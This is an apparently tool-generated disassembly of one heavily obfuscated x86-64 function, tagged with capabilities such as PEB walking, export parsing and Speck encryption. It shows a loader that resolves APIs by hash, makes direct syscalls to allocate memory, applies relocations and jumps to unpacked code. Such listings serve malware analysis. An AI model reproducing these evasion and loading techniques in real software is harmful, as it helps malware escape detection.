Function at 0x1404459bf
Capabilities:
Access peb ldr_data
Encrypt data using speck
Get kernel32 base address
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
jmp 0x1404459cf
push r14
cmp ax, 0x12fd
cmc
stc
push r13
push r12
stc
cmc
cmp bp, 0x1366
push rsi
jmp 0x1404459e9
push rdi
clc
push rbp
push rbx
test r15w, 0x6064
sub rsp, 0x78
cmp qword [0x1400dd010], 0
jmp 0x140445a04
je 0x140445a56
sub eax, eax
not r15b
ror r15b, cl
lea rcx, [section.zFYVeix0]
movsx r15d, r10w
nop word cs:[rax + rax]
movzx r15d, cx
mov r15, 0x14e71063
lea r15, [rax + 0x10]
cmp qword [rax + rcx + 0x20], 0
movsx eax, r9w
mov rax, r15
jmp 0x140445a4b
jne 0x140445a35
jmp 0x140445a5f
sub r15d, r15d
or r8w, 0x5641
movabs r12, 0xcbf29ce484222325
movabs r13, 0x1d12a89b9e723ff5
bsf r10, rsi
mov rcx, qword gs:[0x30]
cmc
bts r10d, edx
mov rcx, qword [rcx + 0x60]
movsxd r10, r8d
jmp 0x140445a98
mov r10, qword [rcx + 0x18]
clc
movsx r8d, si
btr r8w, 0x74
add r10, 0x10
mov r8b, r8b
not r8w
movabs r8, 0x2cc10c8855a9a8cd
jmp 0x140445ac1
jmp 0x140445ad4
cmp rbx, r8
jmp 0x140445ace
je 0x140445ba7
mov r10, qword [r10]
mov r9, qword [r10 + 0x30]
test r14b, 0x5b
jmp 0x140445aea
test r9, r9
jmp 0x140445af2
je 0x140445e1b
mov r11, qword [r10 + 0x60]
mov rdi, 0xffffffffffffffff
test r13b, 0x5e
test ecx, esp
cmp word [r11 + rdi*2 + 2], 0
jmp 0x140445b15
lea rdi, [rdi + 1]
jmp 0x140445b1e
jne 0x140445b09
mov rbx, r12
test rdi, rdi
jmp 0x140445b2f
je 0x140445ac6
xor ecx, ecx
mov rdx, r12
nop word [rax + rax]
cmc
movzx ebx, word [r11 + rcx*2]
stc
lea ebp, [rbx - 0x41]
lea esi, [rbx - 0x410]
movzx ax, al
bsf ax, ax
lea eax, [rbx + 0x20]
cmp sp, 0x61d9
cmp si, 0x20
jmp 0x140445b69
cmovb ebx, eax
test r14, 0x6b33460
cmp r10b, spl
cmp bp, 0x1a
jmp 0x140445b7f
cmovb ebx, eax
movzx ebx, bx
xor rbx, rdx
imul rbx, r13
inc ecx
rcl dl, cl
sbb dh, 0x25
xor dl, spl
mov rdx, rbx
cmp rcx, rdi
jb 0x140445b41
jmp 0x140445ac6
test r10, r10
jmp 0x140445baf
je 0x140445e1b
movsxd rax, dword [r9 + 0x3c]
bt cx, si
shl ch, 0x93
adc cl, 0x1a
mov eax, dword [r9 + rax + 0x88]
sbb ch, 0x28
movzx rdx, di
add cl, 0xf6
lea rcx, [r9 + rax]
shl edx, cl
sar rdx, 0xd6
rcr dx, 0x35
test rax, rax
movsx dx, r10b
movsx edx, r15w
cmovge rdx, r8
cmove rcx, rax
movsx dx, r11b
mov rdx, rdx
cmc
mov qword [rsp + 0x38], rcx
movsx edx, cx
not dh
mov edx, dword [rcx + 0x18]
clc
test edx, edx
jmp 0x140445c15
je 0x140445e1b
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x20]
dec r10b
xadd r10, r8
sar r8w, 0x25
add rcx, r9
xchg r8, r10
mov qword [rsp + 0x40], rcx
mov r10d, dword [rax + 0x24]
btc r8, rbp
ror r8b, cl
stc
lea r10, [r10 + r9]
bsr r8w, di
xor r8b, sil
test rbp, r14
mov r8d, dword [rax + 0x1c]
cmp r15, 0x1c71194b
cmp r11w, r9w
lea r8, [r8 + r9]
cmp r12w, 0x3711
sub edi, edi
jmp 0x140445c95
mov edx, dword [rsp + 0x20]
movzx rax, si
dec ah
movsxd rax, r14d
inc rdi
mov eax, edx
cmp rdi, rax
jmp 0x140445c8f
jae 0x140445e1b
movzx ecx, word [r10 + rdi*2]
clc
mov ebx, dword [r8 + rcx*4]
cmc
cmp dword [r9 + rbx], 0xb8d18b4c
jmp 0x140445cad
jne 0x140445c82
mov dword [rsp + 0x20], edx
adc bp, r14w
bts bp, r10w
stc
mov rax, qword [rsp + 0x40]
shl ebp, cl
cmp bpl, 0xa0
mov esi, dword [rax + rdi*4]
shl rbp, cl
and bpl, 0xa7
sal bpl, 0xb6
add rsi, r9
dec bpl
rcl bpl, 0x38
mov rbp, 0xffffffffffffffff
nop dword [rax + rax]
cmp si, 0x18e7
cmp byte [rsi + rbp + 1], 0
jmp 0x140445cff
lea rbp, [rbp + 1]
jmp 0x140445d08
jne 0x140445cf5
mov rcx, r12
cmp bh, 0x7e
clc
stc
test rbp, rbp
je 0x140445d9a
sub r14d, r14d
mov r11, r12
nop dword [rax]
sub ah, 0x62
bsf edx, r9d
cwd
movzx ecx, byte [rsi + r14]
neg ah
movsx rax, sp
lea edx, [rcx - 0x41]
shrd ax, r9w, 0x9f
neg al
lea eax, [rcx + 0x20]
cmp dl, 0x1a
jmp 0x140445d56
movzx eax, al
jmp 0x140445d5e
cmovae eax, ecx
shr cx, cl
movsx rcx, al
cmp rax, 0x3a163240
stc
xor rcx, r11
xor r11b, 0xd4
imul rcx, r13
mov r11b, 0x88
inc r14d
mov r11, rcx
test r13, 0x810624a
stc
cmp r14, rbp
jmp 0x140445d94
jb 0x140445d35
mov rsi, qword [0x1400dd010]
test rsi, rsi
jmp 0x140445da9
je 0x140445c75
lea rbp, [0x1400dd020]
cmc
nop word cs:[rax + rax]
test dx, r9w
cmp rsi, rcx
jmp 0x140445dd2
je 0x140445dfd
mov rsi, qword [rbp]
test cx, 0x7ddd
add rbp, 0x10
jmp 0x140445dea
test rsi, rsi
jmp 0x140445df2
jne 0x140445dca
jmp 0x140445c75
mov eax, dword [rbx + r9 + 4]
mov dword [rbp - 8], eax
mov rax, qword [rsp + 0x38]
cmovbe dx, dx
mov edx, dword [rax + 0x18]
jmp 0x140445e16
jmp 0x140445c82
test r15, r15
je 0x140445eac
xor ebp, ebp
lea rbx, [section.zFYVeix0]
mov rcx, r12
test r8b, r11b
sub dx, 0x7265
cmc
nop dword [rax]
cwd
btc edx, r13d
movzx edx, byte [rbp + rbx + 0x10]
xor rcx, rdx
cmp r14b, 2
cmc
imul rcx, r13
inc ebp
test cl, 0x79
clc
jmp 0x140445e5e
cmp rbp, r15
jb 0x140445e42
movabs rdx, 0xe9203a08b69f42e8
cmp r9b, r9b
clc
add rcx, rdx
cdq
bts dx, ax
movzx dx, r12b
movabs rdx, 0x52aea00e8a0b3911
xor rdx, rcx
mov ecx, 0x3e6d5e00
movabs rcx, 0xee16cad6b000daab
clc
add rcx, rdx
jmp 0x140445ea7
jmp 0x140445eb6
movabs rcx, 0xd5d341ba60cb39c7
rol rcx, 0x16
rol ah, 0x67
bt ax, r8w
movabs rax, 0x957b6a83b7a0090f
cmp r9b, spl
xor rax, rcx
movabs rcx, 0xec0e237d69308474
cmp sil, 0x2f
lea rcx, [rcx + rax]
stc
test bx, si
mov qword [0x1400b7208], rcx
jmp 0x140445ef6
cmp qword [0x1400de010], 0
jmp 0x140445f03
je 0x140445f54
sub ecx, ecx
add eax, r13d
movsx rax, ax
lea rdx, [section..esNyax1]
sub al, sil
mov rax, 0xdef08d9
nop
movsx rax, r10w
and ax, r15w
lea rax, [rcx + 0x10]
cmc
cmp qword [rcx + rdx + 0x20], 0
not ecx
movzx rcx, r8w
setl ch
mov rcx, rax
jmp 0x140445f49
jne 0x140445f2d
jmp 0x140445f56
xor eax, eax
mov qword [rsp + 0x60], rax
sub ecx, ecx
jmp 0x140445f79
mov rcx, qword [rsp + 0x30]
inc rcx
cmp rcx, 8
jmp 0x140445f73
je 0x140446339
lea rax, [0x1400bfdf0]
btc r10d, esi
mov qword [rsp + 0x30], rcx
ror r8w, cl
mov r8, qword [rax + rcx*8]
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
inc r10b
movsx r10d, si
ror r10, 0x40
mov r10, qword [rax + 0x18]
cmc
jmp 0x140445fb4
add r10, 0x10
jmp 0x140445fbd
jmp 0x140445fd0
cmp rdx, r8
jmp 0x140445fca
je 0x1404460b8
mov r10, qword [r10]
rcr r11b, cl
mov r11, qword [r10 + 0x30]
test r11, r11
jmp 0x140445fe2
je 0x140445f62
mov r14, qword [r10 + 0x60]
mov rbx, 0xffffffffffffffff
clc
nop dword [rax]
cmp cl, 0xcb
clc
test r12b, 0x26
cmp word [r14 + rbx*2 + 2], 0
jmp 0x14044600c
lea rbx, [rbx + 1]
jmp 0x140446015
jne 0x140446000
mov rdx, r12
test rbx, rbx
jmp 0x140446026
je 0x140445fc2
sub ecx, ecx
cdq
sal sil, cl
mov rdi, r12
shl dh, cl
nop word [rax + rax]
movzx eax, word [r14 + rcx*2]
test ah, 0x73
bts bp, r12w
lea edx, [rax - 0x41]
bts rbp, r14
lea esi, [rax - 0x410]
bt rbp, 0x28
rol bp, 0xd1
lea ebp, [rax + 0x20]
cmc
test r10b, 0xfc
cmp si, 0x20
jmp 0x140446071
cmovb eax, ebp
test r13, r11
cmp dx, 0x1a
movsx rdx, bx
movsx dx, sil
cdq
cmovb eax, ebp
cmp r14b, r15b
movzx edx, ax
xor rdx, rdi
imul rdx, r13
not di
movsx edi, r14w
inc ecx
mov dil, r8b
sub edi, 0x1c06b6
mov rdi, rdx
cmp rcx, rbx
jb 0x14044603d
jmp 0x140445fc2
test r10, r10
je 0x140445f62
movzx eax, word [r11]
cmp r9d, r15d
cmp eax, 0x5a4d
jne 0x140446118
movsxd rax, dword [r11 + 0x3c]
xchg ecx, ecx
or cx, r14w
lea rcx, [r11 + rax]
jmp 0x1404460eb
cmp dword [r11 + rax], 0x4550
cmove r9, r11
movzx rax, di
cbw
movzx eax, bp
mov rax, qword [rsp + 0x58]
jmp 0x14044610a
cmove rax, rcx
jmp 0x140446113
jmp 0x14044612a
mov rax, qword [rsp + 0x58]
bsf cx, r15w
btc rcx, 0x1d
add cl, r14b
mov qword [rsp + 0x58], rax
and bpl, 0xbd
bts rcx, r13
mov ecx, dword [rax + 0x88]
sar ah, 0xb0
sbb eax, 0x24e108b8
shl ax, cl
lea rax, [r9 + rcx]
stc
bsf bp, si
btr ebp, eax
test rcx, rcx
movzx ebp, r11w
cmove rax, rcx
bsr bp, r8w
sbb bp, 0x40fa
mov ebp, dword [rax + 0x18]
test ebp, ebp
jmp 0x140446173
je 0x140445f62
mov r14d, dword [rax + 0x20]
sar cx, 0x9f
rcl ch, cl
lea r14, [r14 + r11]
mov ecx, dword [rax + 0x24]
cmp r10d, r8d
test edx, esp
add rcx, r11
clc
test cl, r14b
jmp 0x14044619b
mov qword [rsp + 0x40], rcx
cmc
mov qword [rsp + 0x20], rax
mov eax, dword [rax + 0x1c]
cmp r12b, 0x6e
lea rax, [rax + r11]
clc
test r12, 0x46ee0e18
mov qword [rsp + 0x38], rax
clc
sub esi, esi
jmp 0x1404461c6
jmp 0x140446233
mov rax, qword [rsp + 0x40]
movzx bp, bpl
sub bp, 0x2ea
inc bp
movzx eax, word [rax + rsi*2]
cwd
mov rdx, qword [rsp + 0x38]
and bp, r11w
sub bp, r11w
bt ebp, r12d
mov eax, dword [rdx + rax*4]
add rax, r11
mov qword [rcx - 8], rax
movzx bp, al
movsx ebp, r8w
mov rax, qword [rsp + 0x20]
bswap bp
mov ebp, dword [rax + 0x18]
not al
inc ax
inc rsi
movsx rax, r8w
bt rax, 0x5e
mov eax, ebp
stc
cmp rsi, rax
jmp 0x14044622d
jae 0x140445f62
mov r8d, dword [r14 + rsi*4]
sar bx, 0x44
add r8, r11
mov rbx, 0xffffffffffffffff
test sp, 0x685d
nop dword [rax]
cmc
jmp 0x140446254
cmp byte [r8 + rbx + 1], 0
lea rbx, [rbx + 1]
jmp 0x140446263
jne 0x140446254
mov r10, r12
cmc
test rbx, rbx
jmp 0x140446275
je 0x1404462df
sub ecx, ecx
bts ax, cx
or ah, 0x3b
cdqe
mov r15, r12
nop dword [rax]
movzx edi, byte [r8 + rcx]
lea eax, [rdi - 0x41]
shr dl, cl
bsr dx, r15w
lea edx, [rdi + 0x20]
cmp al, 0x1a
movzx eax, dl
not r10w
movsxd r10, ecx
cmovae eax, edi
cmc
movsx r10, al
cmc
xor r10, r15
sal r15b, 0xf7
imul r10, r13
mov r15d, 0x497078a3
inc ecx
and r15b, 0xb3
mov r15, r10
cmp rcx, rbx
jmp 0x1404462d9
jb 0x140446290
mov rbx, qword [0x1400de010]
cmp ch, 0xa0
test rbx, rbx
je 0x140446216
lea rcx, [0x1400de020]
test dil, 0x10
nop dword [rax + rax]
cmc
test r10b, 0xe1
stc
cmp rbx, r10
jmp 0x140446310
je 0x1404461cb
mov rbx, qword [rcx]
cmp r13, rax
clc
cmp dx, 0x72ab
add rcx, 0x10
cmp r8b, r15b
clc
stc
test rbx, rbx
jne 0x140446308
jmp 0x140446216
mov rax, qword [rsp + 0x60]
test dil, r15b
test rax, rax
je 0x14044639c
xor ecx, ecx
and edx, r12d
bts bp, r12w
lea rbp, [section..esNyax1]
nop dword [rax]
dec dh
movzx edx, byte [rcx + rbp + 0x10]
test dil, bl
test r11, 0x2d2f262b
xor rdx, r12
btc r12d, r14d
imul rdx, r13
xchg r12b, r12b
mov r12b, r11b
inc ecx
seto r12b
mov r12, rdx
cmp rcx, rax
jmp 0x140446391
jb 0x140446360
jmp 0x1404463a1
mov rdx, r12
xchg ah, ah
rol rdx, 0xb
movabs rax, 0xdf7ad2359957b5f4
add rax, rdx
rol rax, 0x16
clc
movabs rcx, 0x4934245b3ce013cf
test r11b, 4
cmc
test r12b, r13b
xor rcx, rax
sar ah, cl
sub al, spl
movsx ax, r10b
movabs rax, 0x5b5c0083c64fa867
stc
add rax, rcx
bts cx, bp
rol rax, 0xc
movzx ecx, di
bsf rcx, r10
shl cx, 0xa4
movabs rcx, 0xdd5421de87040723
test si, 0x5349
cmp spl, r10b
add rcx, rax
ror al, cl
movsx eax, r11w
rol rcx, 0x25
bsr ax, bp
btc rax, 0x9a
mov qword [0x1400b7210], rcx
dec ecx
clc
shrd eax, r12d, 0x5a
mov eax, dword [0x7ffe0014]
dec cx
movzx cx, r11b
mov dword [0x1400b8eb8], eax
movzx ecx, word [0x140000000]
cmp ecx, 0x5a4d
jmp 0x140446455
jne 0x1404464ad
movsxd rcx, dword [0x14000003c]
sal dx, cl
bsr rdx, r12
sal rdx, 0x53
lea rdx, [0x140000000]
cmp dword [rcx + rdx], 0x4550
jmp 0x140446480
jne 0x1404464ad
lea rbx, [rcx + rdx]
cmp bpl, 0xe0
add r10b, spl
rcr r12w, cl
lea r14, [rcx + rdx]
or r10b, 0x2d
sal r9b, cl
add r14, 0x108
cqo
shr dx, 0
imul eax, eax, 0x41c64e6d
add eax, 0x3039
imul ecx, eax, 0x41c64e6d
ror r9b, 0x5e
shr eax, 0x10
neg bp
test r10w, 0x67ec
lea edx, [rax + rax*2]
shr edx, 0x10
sar r10, 0x45
mov ebp, eax
neg r10
sub ebp, edx
not r10b
bswap r9w
movzx ebp, bp
shr r13b, 0xe0
shr ebp, 1
inc r13b
movzx r10w, r14b
shr r9d, cl
add ebp, edx
movzx r13d, bp
shr r13d, 0xe
add r13d, eax
sal eax, cl
and r13d, 0x3fff
add r13d, 0xfff
cqo
and r13d, 0x7000
inc edx
rol al, cl
add ecx, 0x3039
cwd
mov dword [0x1400b8eb8], ecx
shr ecx, 0x10
lea eax, [rcx + rcx*2]
shr r12, cl
mov dl, spl
xadd r10b, r10b
shr eax, 0x10
rcr r9b, 0xd6
rcl dh, 0x89
sal r12b, cl
mov edx, ecx
cmc
mov r9w, r13w
sub edx, eax
bsr r9w, r14w
movzx edx, dx
rol r10, cl
shr edx, 1
add edx, eax
movzx r12d, dx
shr r12d, 0xe
cdqe
add r12d, ecx
and r12d, 0x3fff
add r12d, 0xfff
xadd ch, cl
cmova ax, bp
cwd
and r12d, 0x7000
cdq
add r9d, 0x50255a6c
mov qword [rsp + 0x28], 0
sub r9b, 0xac
movzx edx, ax
lahf
mov qword [rsp + 0x20], rbx
sub dl, 0x89
test r8w, r12w
add dh, dh
mov ecx, dword [rbx + 0x50]
lea rcx, [rcx + r12]
clc
lea rcx, [rcx + r13]
ror r9d, 0x5b
shr r10d, 0x66
mov qword [rsp + 0x48], rcx
mov eax, dword [0x1400dd078]
lea rdx, [rsp + 0x28]
cmovl r10d, r14d
rol r10, cl
btr r9w, 0x8c
lea r9, [rsp + 0x48]
bsr r10, r14
xor r10b, r8b
inc r10
mov r10, 0xffffffffffffffff
test bl, 0xf0
cmp bl, bpl
cmc
xor r8d, r8d
sub rsp, 0x40
jmp 0x140446613
mov qword [rsp + 0x28], 0x3000
jmp 0x140446621
mov qword [rsp + 0x30], 4
jmp 0x14044662f
syscall
add rsp, 0x40
setge ch
bsr r8w, r12w
not ch
mov rcx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x48]
cmc
jmp 0x14044664f
xor edx, edx
jmp 0x140446656
call fcn.1404a7787
mov r15, qword [rsp + 0x28]
test r13d, r13d
jmp 0x140446668
je 0x140446897
mov rcx, r13
setp r8b
mov si, 0x4af5
shr rcx, 3
cmp rcx, 2
cmovnp rax, rcx
setnp ah
mov r8d, 1
movzx rsi, r14w
mov dh, 0x8a
movsx bx, dh
cmovae r8, rcx
xor r9d, r9d
stc
add al, r13b
nop word cs:[rax + rax]
imul edx, dword [0x1400b8eb8], 0x41c64e6d
shr eax, 0xb1
sbb cl, r9b
add edx, 0x3039
sal ecx, cl
cmovbe eax, edi
lahf
imul edi, edx, 0x41c64e6d
sar eax, cl
mov ebp, edx
test r11b, r8b
bsf edx, ebp
shr ebp, 0x10
dec rsi
sar al, 0x76
and al, 0xab
lea edx, [rbp + rbp*2]
cwde
shr edx, 0x10
test al, cl
cwde
mov eax, ebp
adc cx, 0x3161
sub eax, edx
sub sil, r11b
movzx eax, ax
shr eax, 1
add eax, edx
btc cx, 0x20
setnp cl
add edi, 0x3039
ror dx, 0x81
movzx edx, ax
sbb bl, sil
cdqe
mov eax, edi
adc bl, spl
sub cl, 0x58
btc bx, 0xfb
shr eax, 0x10
bsr esi, eax
rcl bh, 0x48
or rcx, rdi
lea ebx, [rax + rax*2]
sar ch, 0xf0
test edx, 0x22d75af1
shr edx, 0xe
rol ecx, 0xe3
shr ebx, 0x10
mov esi, eax
cmp r14d, 0x58e869c6
movzx ecx, ax
sub esi, ebx
mov ecx, edx
movzx esi, si
shr esi, 1
test r14b, 0x3a
test edx, r14d
stc
add esi, ebx
shl ecx, 0xf
clc
cmp dil, 0xb
movzx ebx, si
adc si, 0x67da
sbb rsi, rcx
shr ebx, 0xe
bts si, si
add rsi, rbx
mov esi, ebx
clc
test r10w, 0x472e
sub edx, ecx
xor cx, r13w
xadd rcx, rcx
shl esi, 0xf
dec cx
sub ebx, esi
add ebx, eax
stc
btc ecx, edx
add edx, ebp
and al, dil
sbb al, 0x7d
rcr ch, 0xde
xor ebp, ebp
and cx, r14w
clc
sal bpl, 0x49
cmp bx, 0x10
setb bpl
ror bl, 0xdd
sal ch, 0xba
movsx ax, bpl
imul eax, edi, 0x41c64e6d
add eax, 0x3039
imul ecx, eax, 0x41c64e6d
sub bh, 0xbc
shr eax, 0x10
movzx ebx, cx
lea ebx, [rax + rax*2]
shl di, cl
rol rdi, 0xca
shr ebx, 0x10
mov edi, eax
sub edi, ebx
cmc
clc
movzx edi, di
test r8b, spl
cmp r8b, 0x35
cmp r11w, r14w
shr edi, 1
test sil, bl
add edi, ebx
movzx edx, dx
movsxd rbx, eax
add rbx, rcx
shld bx, di, 3
movzx ebx, di
test r8w, 0x1c62
stc
bsr rdi, rbx
shr ebx, 0xe
mov edi, ebx
or rbp, rdx
shl edi, 0xf
stc
clc
sub ebx, edi
add ebx, eax
test dil, 0x2b
add ecx, 0x3039
test edi, r10d
jmp 0x140446858
xor eax, eax
test r13w, r11w
cmp bx, 0x20
setb al
test spl, 0xdd
mov dword [0x1400b8eb8], ecx
or rax, rbp
jmp 0x140446877
mov qword [r15 + r9*8], rax
inc r9
cmp r8, r9
jmp 0x140446886
jne 0x1404466ae
mov r15, qword [rsp + 0x28]
cmp r11w, 0x7b59
test r12, r12
je 0x140446b1b
sub r15, r12
add r15, qword [rsp + 0x48]
sbb al, dl
btr ax, 0x91
shr r12, 3
cmp r12, 2
movsx ecx, sp
mov r8d, 1
movzx eax, r9w
not ecx
xchg bpl, sil
cmovae r8, r12
mov rdx, 0x261d66eb
jmp 0x1404468dd
xor r9d, r9d
nop
add di, 0x3598
imul edx, dword [0x1400b8eb8], 0x41c64e6d
sub bpl, 0xd6
movzx ebp, si
bswap rcx
add edx, 0x3039
sub bpl, 0x97
imul edi, edx, 0x41c64e6d
bts rbx, rbp
dec cx
mov ebp, edx
xchg esi, esi
bt ecx, r12d
test di, r10w
shr ebp, 0x10
rcl bx, 0x1e
sub rbx, rbx
lea edx, [rbp + rbp*2]
sal sil, 0x66
shl ch, 0x2f
clc
shr edx, 0x10
rcl al, cl
rcr ch, 0xe4
movzx rcx, sp
mov ebx, ebp
not esi
adc si, 0x36e6
sub ebx, edx
jmp 0x140446958
movzx ebx, bx
add al, dil
shr ebx, 1
shl ah, 7
sar rcx, cl
jmp 0x14044696b
add ebx, edx
movsx edx, r14w
add edi, 0x3039
bt rax, 0xb7
rcl sil, 0x90
movzx edx, bx
test r10b, 0xb8
sbb rcx, 0x80c3d0b
sar esi, 0x7b
mov ebx, edi
bts cx, ax
btc ax, 9
shr ebx, 0x10
movzx eax, r8w
lea esi, [rbx + rbx*2]
sub ax, 0x7db
shr edx, 0xe
btc eax, 0x20
bt cx, 0x54
shl ah, 0x9c
shr esi, 0x10
bsr rax, r13
btc ax, 0x3c
bt eax, r9d
mov eax, ebx
bsf rcx, rbx
sub eax, esi
sbb ecx, 0x281859
mov ecx, edx
clc
cmp r9b, 0x38
movzx eax, ax
test spl, 0xe6
stc
shr eax, 1
test r11b, 0x2d
add eax, esi
setns sil
bt si, 0x86
shl sil, cl
shl ecx, 0xf
movzx eax, ax
add sil, 0x16
mov sil, al
shl sil, 0x18
shr eax, 0xe
and rsi, 0x10477272
movzx esi, si
mov esi, eax
cmp esi, 0x57387a7f
jmp 0x140446a25
sub edx, ecx
sar cx, cl
shl esi, 0xf
shr ch, cl
cmp r11b, dil
sub eax, esi
shl ch, 0x54
dec cl
add eax, ebx
jmp 0x140446a40
add edx, ebp
movsx cx, ch
xor ebp, ebp
sar bl, cl
cmp ax, 0x10
setb bpl
mov ch, 0x8b
imul eax, edi, 0x41c64e6d
adc dil, 0x28
rol ch, 0xe0
add eax, 0x3039
clc
shl cl, cl
movzx rcx, dx
imul ecx, eax, 0x41c64e6d
inc dil
and bx, 0x135
shr eax, 0x10
jmp 0x140446a84
lea ebx, [rax + rax*2]
mov rdi, 0x40c7233a
shr ebx, 0x10
btr rdi, r11
cmc
mov edi, eax
sub edi, ebx
test r13w, r12w
movzx edi, di
cmp spl, 0xde
cmp esi, r8d
shr edi, 1
add edi, ebx
or bl, 0x7b
movzx edx, dx
movsx rbx, dx
movzx ebx, di
neg dil
shr ebx, 0xe
movsx di, dl
movsx edi, r14w
bt rdi, r12
mov edi, ebx
or rbp, rdx
clc
stc
cmc
shl edi, 0xf
sub ebx, edi
add ebx, eax
add ecx, 0x3039
xor eax, eax
cmp bx, 0x20
setb al
test r13b, 0xf8
mov dword [0x1400b8eb8], ecx
cmc
or rax, rbp
mov qword [r15 + r9*8], rax
inc r9
clc
cmp r8, r9
jmp 0x140446b07
jne 0x1404468e7
mov r15, qword [rsp + 0x28]
setbe al
adc al, dl
bsr ax, di
mov rax, qword [rsp + 0x20]
clc
add r15, r13
stc
test rax, r15
jmp 0x140446b2d
movzx eax, word [rax + 6]
clc
cmp r8b, 0xfd
test rax, rax
jmp 0x140446b3e
je 0x140446c7c
shl rax, 3
and ebp, r14d
bts r8w, di
lea rbp, [rax + rax*4]
sub edi, edi
cdqe
neg ch
mov ebx, 4
movzx rdx, bp
stc
lea rsi, [rsp + 0x70]
sub rax, 0x4de624ea
test r13b, 0xc7
not cx
lea r12, [rsp + 0x68]
lea r13, [rsp + 0x54]
nop dword [rax + rax]
movsxd rcx, r12d
mov edx, dword [r14 + rdi + 0xc]
btc eax, 0xe6
cmc
lea rcx, [r15 + rdx]
mov qword [rsp + 0x70], rcx
movzx eax, r13w
lea rax, [0x140000000]
sal r8b, 0x1a
and r8b, r9b
add rdx, rax
seta r8b
jmp 0x140446bba
mov r8d, dword [r14 + rdi + 8]
call fcn.1404a6cac
mov eax, dword [r14 + rdi + 8]
sub r9w, 0x768
rcl r8w, 0x4e
mov qword [rsp + 0x68], rax
movsxd rax, ebp
rol dh, 0x71
cmp r12d, r13d
mov dword [rsp + 0x54], 0
xor r10b, 0x1a
adc r10d, 0x4fd42320
test dword [r14 + rdi + 0x24], 0x20000000
cdqe
not r10b
mov r9d, 0x40
cwde
movzx rax, bx
cdqe
cmove r9d, ebx
mov eax, dword [0x1400dd088]
bt dx, 0xfb
sar r10w, 0x82
mov r10, 0xffffffffffffffff
mov r8b, bpl
xadd r8d, edx
btc r8, 0xc2
mov rdx, rsi
add r8b, 0xb7
sar r8w, 0x5f
sub r8b, 0x19
mov r8, r12
sub rsp, 0x30
jmp 0x140446c53
mov qword [rsp + 0x28], r13
jmp 0x140446c5d
syscall
add rsp, 0x30
add rdi, 0x28
stc
test rcx, 0x7c313ba6
cmp ebp, edi
jmp 0x140446c76
jne 0x140446b89
lea rdx, [0x140000000]
mov rax, r15
sub rax, rdx
xor esi, r15d
sub rcx, r9
bt si, cx
mov rsi, qword [rsp + 0x20]
and cl, 0x90
xadd cx, cx
mov ecx, dword [rsi + 0xb0]
clc
jmp 0x140446cb0
add rcx, rdx
jmp 0x140446cb8
je 0x140446db6
mov r8d, 1
jmp 0x140446cc9
jmp 0x140446ce0
mov ebx, dword [rcx + 4]
stc
add rcx, rbx
jmp 0x140446cda
je 0x140446db6
cmp dword [rcx], 0
je 0x140446db6
mov ebx, dword [rcx + 4]
test rbx, rbx
jmp 0x140446cf4
je 0x140446db6
lea rbp, [rbx - 8]
test r13b, 0x8b
cmp r10b, 0x27
cmp rbp, 2
jmp 0x140446d0f
jb 0x140446cd2
shr rbp, 1
cmc
cmp rbp, 2
jmp 0x140446d22
cmovb rbp, r8
cmp sp, r11w
jmp 0x140446d33
xor ebx, ebx
jmp 0x140446d3a
jmp 0x140446d72
and edi, 0xfff
movsx rdx, r11w
and dx, r12w
sub dl, dl
mov edx, dword [rcx]
add rdi, r15
cmc
cmp ah, ch
clc
add qword [rdx + rdi], rax
jmp 0x140446d61
inc rbx
cmp rbp, rbx
jmp 0x140446d6c
je 0x140446cce
movzx edi, word [rcx + rbx*2 + 8]
stc
cmp r11b, 0xbc
cmp edi, 0x1000
jb 0x140446d61
mov edx, edi
shr edx, 0xc
test r12, rbp
jmp 0x140446d95
cmp edx, 0xa
jmp 0x140446d9d
je 0x140446d3f
cmp edx, 3
jmp 0x140446dab
je 0x140446d3f
jmp 0x140446d61
mov ecx, dword [rsi + 0xd0]
movq xmm0, rax
pshufd xmm0, xmm0, 0x44
movdqu xmm1, xmmword [r15 + rcx]
jmp 0x140446dd1
movdqu xmm2, xmmword [r15 + rcx + 0x10]
jmp 0x140446ddd
paddq xmm1, xmm0
movdqu xmmword [r15 + rcx], xmm1
jmp 0x140446dec
paddq xmm2, xmm0
movdqu xmmword [r15 + rcx + 0x10], xmm2
add ch, 0x7f
adc edx, r15d
movzx dx, r12b
lea rdx, [0x14005d630]
mov cl, 0xb8
sal cl, cl
add rdx, rax
lea rcx, [0x140000000]
jmp 0x140446e1c
call rdx
nop
sar di, 0xcd
neg r14b
add rsp, 0x78
setb r12b
jmp 0x140446e36
pop rbx
mov r15b, bl
pop rbp
xchg r13d, edi
pop rdi
cmovbe r14w, bx
movsx rsi, dx
movzx r12d, ax
pop rsi
movsx r13d, r9w
jmp 0x140446e56
pop r12
movzx r14d, r14w
movsx r15w, r8b
pop r13
pop r14
movsx r15w, r14b
setno r15b
movzx r15d, r13w
pop r15
jmp 0x140446e79
ret